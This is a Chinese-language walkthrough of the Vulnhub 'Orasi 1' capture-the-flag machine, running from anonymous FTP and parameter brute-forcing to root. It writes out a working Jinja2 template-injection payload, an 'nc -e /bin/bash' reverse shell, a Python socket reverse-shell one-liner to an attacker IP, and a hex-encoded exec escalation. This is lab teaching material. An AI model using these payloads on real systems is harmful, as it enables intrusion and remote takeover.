下载地址:http://www.vulnhub.com/entry/orasi-1,660/
Hint :just one useless little dot
0x01 信息收集到获取shell
端口扫描:

使用anonymous访问ftp,获取到一个文件:url。该文件为一个共享连接库。先看看main函数:

于是将insert中的每一个字符转换为acsii码,得到一串字符/sh4d0w$s,看起来像是url。

访问80端口,得到一串奇怪的字符,看着有点像口令字典工具crunch的参数,等一下还有用。

浏览器访问5000端口,提示url无法解析。

可以看到server是flask,基于python3.7.3,到这里很多人应该会想到页面可能存在模板注入漏洞了。利用上面获取的url地址重新访问,提示没有输入,看来是需要参数。

利用访问80端口得到的信
息,使用crunch生成字典去爆破参数。
kali@kali:~/test$ crunch 6 6 1337leet > test.txt
Crunch will now generate the following amount of data: 326592 bytes
Crunch will now generate the following number of lines: 46656

最终得到正确的请求参数l333tt。参考flask/jinja2模板注入,我们成功访问urlhttp://192.168.56.158:5000/sh4d0w$s?l333tt={{%22%22.__class__.__mro__[-1].__subclasses__()[183].__init__.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27whoami%27).read()%22)}}实现了命令执行。


直接nc -e /bin/bash 192.168.56.103 8080获取shell。

0x02 提权
查看sudo -l

查看jail.php

可以看到,exec存在命令执行,但是限制了一些函数的使用。这里直接使用python重新反弹一个用户kori的shell,进入python后使用import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",8081));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);。

继续sudo -l
可以通过拷贝irida用户下的apk文件。拷贝之前需要现在用户kori目录下创建同名的apk文件并赋予其它用户写权限。

nc上传到本地进行反编译,查找敏感信息,搜索irida,找到用户密码,需要注意的是密码进行了一下简单的变化protector,实际上为eye.of.the.tiger.()。

这里还有一个脑洞,还好作者给了一个提示:just one useless little dot,也就是说上面的字符串需要去掉一个点,经过测试,irida的实际用户密码为eye.of.the.tiger()。
利用ssh登陆,继续查看sudo -l,可以以root用户执行oras.py。

直接执行,随便输入一些东西,从错误中获取到了代码信息。

很明显是内嵌exec执行代码,将import os;os.system("/bin/bash -i");进行hex编码后输入,成功获取root权限。

本文通过渗透测试过程,详细介绍了信息收集、获取shell及提权等步骤。利用ftp匿名访问、crunch生成字典爆破、flask模板注入等方式获取初始shell;再通过python反弹shell、密码破解等手段实现提权。
1041

被折叠的 条评论
为什么被折叠?



